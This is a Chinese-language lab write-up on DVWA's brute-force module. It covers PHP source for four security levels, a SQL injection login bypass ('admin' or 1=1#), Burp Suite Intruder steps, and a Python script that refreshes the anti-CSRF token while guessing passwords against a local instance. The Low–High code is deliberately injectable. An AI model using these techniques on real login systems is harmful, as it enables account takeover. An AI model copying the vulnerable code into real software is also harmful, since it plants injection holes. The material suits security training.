DVWA--Brute Force(暴力破解)--四个等级
DVWA的Brute Force,也就是我們所熟悉的暴力破解,這里它一共有四個等級
Low、Medium、High、Impossible
這里我們就源碼簡單探討一下
Low
源代碼:
<?phpif( isset( $_GET[ 'Login' ] ) ) {// Get username$user = $_GET[ 'username' ];// Get password$pass = $_GET[ 'password' ];$pass = md5( $pass );// Check the database$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedecho "<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?> mysqli_query(connection,query,resultmode) :執(zhí)行一條 MySQL 查詢
connection 必需。規(guī)定要使用的 MySQL 連接
query 必需,規(guī)定查詢字符串。
resultmode 可選。一個常量。可以是下列值中的任意一個:
MYSQLI_USE_RESULT(如果需要檢索大量數(shù)據(jù),請使用這個)
MYSQLI_STORE_RESULT(默認(rèn))
針對成功的SELECT,SHOW,DESCRIBE或EXPLAIN查詢,將返回一個mysqli_result對象。針對其他成功的查詢,將返回TRUE。如果失敗,則返回FALSE
$GLOBALS :引用全局作用域中可用的全部變量
$GLOBALS 這種全局變量用于在 PHP 腳本中的任意位置訪問全局變量(從函數(shù)或方法中均可)
PHP 在名為 $GLOBALS[index] 的數(shù)組中存儲了所有全局變量。變量的名字就是數(shù)組的鍵
or :php其中一個運算符,表示或
$x or $y 如果 $x 和 $y 至少有一個為 true,則返回 true
命令1 or 命令2:如果命令1返回true,則不執(zhí)行or后面的命令;如果命令1返回false,則執(zhí)行命令2
和die連用比較多,舉例:
die(status) :輸出一條消息,并退出當(dāng)前腳本
status 必需。規(guī)定在退出腳本之前需要輸出的消息或狀態(tài)號。狀態(tài)號不會被寫入輸出
如果 status 是字符串,則該函數(shù)會在退出前輸出字符串。
如果 status 是整數(shù),這個值會被用作退出狀態(tài)。退出狀態(tài)的值在 0 至 254 之間。退出狀態(tài) 255 由 PHP 保留,不會被使用。狀態(tài) 0 用于成功地終止程序
注釋:如果 PHP 的版本號大于等于 4.2.0,那么在 status 是整數(shù)的情況下,不會輸出該參數(shù)
is_object($var) :用于檢測變量是否是一個對象
$var:要檢測的變量
如果指定變量為對象,則返回TRUE,否則返回FALSE
mysqli_error(connection) :返回上一個 MySQL 操作產(chǎn)生的文本錯誤信息
本函數(shù)返回上一個 MySQL 函數(shù)的錯誤文本,如果沒有出錯則返回 ‘’(空字符串)
connection 可選。規(guī)定 SQL 連接標(biāo)識符。如果未規(guī)定,則使用上一個打開的連接
舉例:
mysqli_connect_error() :返回上一次連接錯誤的錯誤描述
返回一個描述錯誤的字符串。如果沒有錯誤發(fā)生則返回NULL
mysqli_num_rows(result) :返回結(jié)果集中行的數(shù)目
result 必需。規(guī)定由 mysqli_query()、mysqli_store_result() 或 mysqli_use_result() 返回的結(jié)果集標(biāo)識符
舉例:
<?php $con = mysqli_connect("localhost", "hello", "321"); if (!$con){die('Could not connect: ' . mysqli_error());}$db_selected = mysqli_select_db("test_db",$con);$sql = "SELECT * FROM person"; $result = mysqli_query($sql,$con); echo mysqli_num_rows($result);mysqli_close($con); ?> /* 輸出類似: 3 */ mysqli_fetch_assoc(result) :從結(jié)果集中取得一行作為關(guān)聯(lián)數(shù)組
本函數(shù)返回的字段名是區(qū)分大小寫的
返回值: 返回代表讀取行的關(guān)聯(lián)數(shù)組。如果結(jié)果集中沒有更多的行則返回NULL
舉例:
is_null ($var) :檢測變量是否為 NULL
var 允許傳入任意參數(shù)
如果var是NULL則返回 TRUE,否則返回 FALSE
mysqli_close(connection) :關(guān)閉先前打開的數(shù)據(jù)庫連接
connection 必需。規(guī)定要關(guān)閉的 MySQL 連接
返回值: 如果成功則返回TRUE,如果失敗則返回FALSE
滲透過程 :
1.登陸前打開Burpsuite抓包,抓到GET請求包
發(fā)送到Intruder,選擇需要爆破的變量,這里我們假設(shè)已知用戶名為admin的情況
配置爆破字典
調(diào)整線程,提高爆破速度
爆破成功,有一個Length和其他都不相同,這里可以看出它就是正確密碼
注:這里也可以使用萬能密碼登錄,例如
主要由于mysqli_num_rows( $result ) == 1,因為這個表示從數(shù)據(jù)庫中得到的結(jié)果只有一條才符合條件,可以將拼接后的mysql語句放入mysql中執(zhí)行
成功的:
失敗的:
admin’ or 1=1#
拼接后如下:
還有個疑問,為什么and 1=1可以,or 1=1卻不可以?
知道他們的區(qū)別就行:and 要滿足所有條件,or只要滿足一個條件即可,這不是重點,關(guān)鍵在于SQL查詢語句中or 1=1表示把表中的所有數(shù)據(jù)都查詢出來(注:前提是or 1=1或or ‘1’='1’后面沒有任何內(nèi)容,如果有and等其他內(nèi)容還是會顯示一條數(shù)據(jù)),而and 1=1和有沒有都一樣,并且or 1=0只顯示一個數(shù)據(jù),and 1=0報錯。
所有對比如下:
Medium
源代碼: <?php if( isset( $_GET[ 'Login' ] ) ) { // Sanitise username input $user = $_GET[ 'username' ]; $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed sleep( 2 ); echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>部分代碼釋義:
mysqli_real_escape_string(connection,escapestring) :轉(zhuǎn)義在SQL語句中使用的字符串中的特殊字符
connection 必需。規(guī)定要使用的 MySQL 連接
escapestring 必需。要轉(zhuǎn)義的字符串。編碼的字符是 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z
返回值: 返回已轉(zhuǎn)義的字符串
舉例:
這里舉的不是很好但是大致可以理解
假設(shè)$a是變量(實則是一個字符串),以上代碼返回true,假設(shè)你傳入一個$a傳入一個單引號,那么我們看看會發(fā)生什么
假設(shè)上面使用的是mysqli_real_escape_string()函數(shù),是這個函數(shù)添加的\,轉(zhuǎn)義了第2個單引號;此時上面圖中的第2個單引號和第3個單引號不能構(gòu)成空,也就是’ ‘;因為嘛,被轉(zhuǎn)義的單引號現(xiàn)在僅僅就是個字符,并不能使用它的任何“權(quán)利”;比如它要和另一個單引號結(jié)合,這是不可能的,因為你已經(jīng)被轉(zhuǎn)義了;雖然你加了\外表還是’,但你和第3個單引號內(nèi)在是不一樣的(這里所說單引號,都是上圖中的)
trigger_error(errormsg,errortype) :創(chuàng)建用戶級別的錯誤消息。
trigger_error() 函數(shù)能結(jié)合內(nèi)置的錯誤處理器所關(guān)聯(lián),或者可以使用用戶定義的函數(shù)作為新的錯誤處理程序(set_error_handler())
errormsg 必需。規(guī)定錯誤消息。最大長度 1024 字節(jié)。
errortype 可選。規(guī)定錯誤類型??赡艿闹?#xff1a;
E_USER_ERROR
E_USER_WARNING
E_USER_NOTICE(默認(rèn))
如果規(guī)定了錯誤的 errortype,則返回 FALSE。否則返回 TRUE
舉例:
E_USER_ERROR :
E_USER_ERROR只能通過trigger_error($ msg,E_USER_ERROR)手動觸發(fā).E_USER_ERROR是用戶自定義錯誤類型,可以被設(shè)置為錯誤處理函數(shù)捕獲退出運行
sleep(seconds) :延遲執(zhí)行當(dāng)前腳本若干秒
seconds 必需。規(guī)定延遲執(zhí)行腳本的秒數(shù)
如果指定秒數(shù)是負數(shù),該函數(shù)將拋出一個錯誤
如果成功則返回0,如果錯誤則返回FALSE。
如果調(diào)用被信號中斷,該函數(shù)返回一個非零值。在Windows平臺上,該值將總是192,表示W(wǎng)indows API中的WAIT_IO_COMPLETION常量的值。在其他平臺上,返回值將是剩余的延遲秒數(shù)
medium代碼用mysqli_real_escape_string(connection,escapestring)對輸入的用戶名與密碼進行了轉(zhuǎn)義,防止了利用單引號,雙引號等參數(shù)構(gòu)造進行SQL注入,這里的sleep(2),表示登陸失敗時,延遲2s返回登錄失敗信息,這就造成了每一次爆破如果密碼錯誤,進行下一次爆破要比之前Low級別的代碼多上2s延遲,其他沒有什么。
High
源代碼: <?php if( isset( $_GET[ 'Login' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input $user = $_GET[ 'username' ]; $user = stripslashes( $user ); $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = stripslashes( $pass ); $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed sleep( rand( 0, 3 ) ); echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>部分函數(shù)釋義:
stripslashes(string) :刪除反斜杠
string 必需。規(guī)定要檢查的字符串
rand(min,max) :返回隨機整數(shù)
min,max 可選。規(guī)定隨機數(shù)產(chǎn)生的范圍
如果沒有提供可選參數(shù) min 和 max,rand() 返回 0 到 RAND_MAX 之間的偽隨機整數(shù)。例如,想要 5 到 15(包括 5 和 15)之間的隨機數(shù),用 rand(5, 15);在某些平臺下(例如 Windows)RAND_MAX 只有 32768。如果需要的范圍大于 32768,那么指定 min 和 max 參數(shù)就可以生成大于 RAND_MAX 的數(shù)了,或者考慮用 mt_rand() 來替代它
High級別的代碼使用了Anti-CSRF token來抵御CSRF的攻擊,使用了stripslashes函數(shù)和mysqli_real_esacpe_string來抵御SQL注入和XSS的攻擊
由于使用了Anti-CSRF token,每次服務(wù)器返回的登陸頁面中都會包含一個隨機的user_token的值,用戶每次登錄時都要將user_token一起提交。服務(wù)器收到請求后,會優(yōu)先做user_token的檢查,再進行sql查詢。
方法一:使用burpsuite爆破
前提:截取到數(shù)據(jù)包時,不可放行,要保持截取的狀態(tài),否則無法Refetch response,造成無法爆破
例:爆破時保持該狀態(tài)
(1)抓到包后設(shè)置Positions
(2)設(shè)置Options
①設(shè)置線程
②找到Grep-Extract,選擇Extract the following items from responses:,再點擊add(下圖中是我之前就已經(jīng)添加了的)
③獲取返回頁面的源碼
④找到需要爆破的user_token的值,然后點擊OK,這里記得保存該值
(3)設(shè)置payloads
注:Positions中user_token的值是不可以的
(4)之后就可以開始攻擊
注:該方法成功爆破后無法再次爆破,需要重新截取數(shù)據(jù)包重新操作!!!
方法二:使用后burp中宏自動化獲取token進行攻擊
參考我的另一篇文章(以DVWA為例):Burpsuite中宏的使用
方法三:我們用python3寫一段代碼進行自動化爆破
from bs4 import BeautifulSoup import requestsdef get_token(requrl,header):response = requests.get(url=requrl,headers=header)print(response.status_code,len(response.content)) # response.status_code(),輸出狀態(tài)碼 response.content(),獲取響應(yīng)的內(nèi)容soup = BeautifulSoup(response.text,"html.parser") # 獲取被抓取頁面的html代碼,并使用html.parser來實例化BeautifulSoup,屬于固定套路input = soup.select("input[type='hidden']") # 返回的是一個list列表user_token = input[0]['value'] #獲取用戶的tokenreturn user_tokenif __name__ =='__main__':requrl = "http://127.0.0.1:8008/dvwa/vulnerabilities/brute/"header = {"Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","Accept-Language" : "zh-CN,zh;q=0.9,en;q=0.8","Connection" : "keep-alive","Cookie" : "security=high; PHPSESSID=qcssnmjr6hs4ntsile37dav20h","Host" : "127.0.0.1:8008","Referer" : "http://127.0.0.1:8008/dvwa/vulnerabilities/brute/","Upgrade-Insecure-Requests" : "1","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"}user_token = get_token(requrl,header)i = 0for line in open("C:/Users/Yuen/Desktop/pass.txt"):requrl = "http://127.0.0.1:8008/dvwa/vulnerabilities/brute/?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_tokeni = i + 1print(i,'admin',line.strip(),end=" ")user_token = get_token(requrl,header)if (i == 10):break這里我就爆破了10次,作為演示,實際次數(shù)取決于你字典的大小和你的需求
Impossible
源代碼: <?phpif( isset( $_POST[ 'Login' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_POST[ 'username' ];$user = stripslashes( $user );$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_POST[ 'password' ];$pass = stripslashes( $pass );$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );// Default values$total_failed_login = 3;$lockout_time = 15;$account_locked = false;// Check the database (Check user information)$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// Check to see if the user has been locked out.if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {// User locked out. Note, using this method would allow for user enumeration!//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";// Calculate when the user would be allowed to login again$last_login = strtotime( $row[ 'last_login' ] );$timeout = $last_login + ($lockout_time * 60);$timenow = time();/*print "The last login was: " . date ("h:i:s", $last_login) . "<br />";print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";*/// Check to see if enough time has passed, if it hasn't locked the accountif( $timenow < $timeout ) {$account_locked = true;// print "The account is locked<br />";}}// Check the database (if username matches the password)$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR);$data->bindParam( ':password', $pass, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// If its a valid login...if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {// Get users details$avatar = $row[ 'avatar' ];$failed_login = $row[ 'failed_login' ];$last_login = $row[ 'last_login' ];// Login successfulecho "<p>Welcome to the password protected area <em>{$user}</em></p>";echo "<img src=\"{$avatar}\" />";// Had the account been locked out since last login?if( $failed_login >= $total_failed_login ) {echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";}// Reset bad login count$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();} else {// Login failedsleep( rand( 2, 4 ) );// Give the user some feedbackecho "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";// Update bad login count$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();}// Set the last login time$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute(); }// Generate Anti-CSRF token generateSessionToken();?>Impossible級別的代碼加入了可靠的防爆破機制,當(dāng)檢測到錯誤登錄3次后將會鎖定賬戶15s,系統(tǒng)會將賬戶鎖定,爆破也就無法繼續(xù)
同時采用了更為安全的PDO(PHP Data Object)機制防御sql注入,這是因為不能使用PDO擴展本身執(zhí)行任何數(shù)據(jù)庫操作,而sql注入的關(guān)鍵就是通過破壞sql語句結(jié)構(gòu)執(zhí)行惡意的sql命令
因為我還沒有學(xué)過PDO,等學(xué)完,會寫一片PDO筆記分享給大家
創(chuàng)作挑戰(zhàn)賽新人創(chuàng)作獎勵來咯,堅持創(chuàng)作打卡瓜分現(xiàn)金大獎總結(jié)
以上是生活随笔為你收集整理的DVWA--Brute Force(暴力破解)--四个等级的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 支付宝提现手续费多少
- 下一篇: 第一产业第二产业第三产业是什么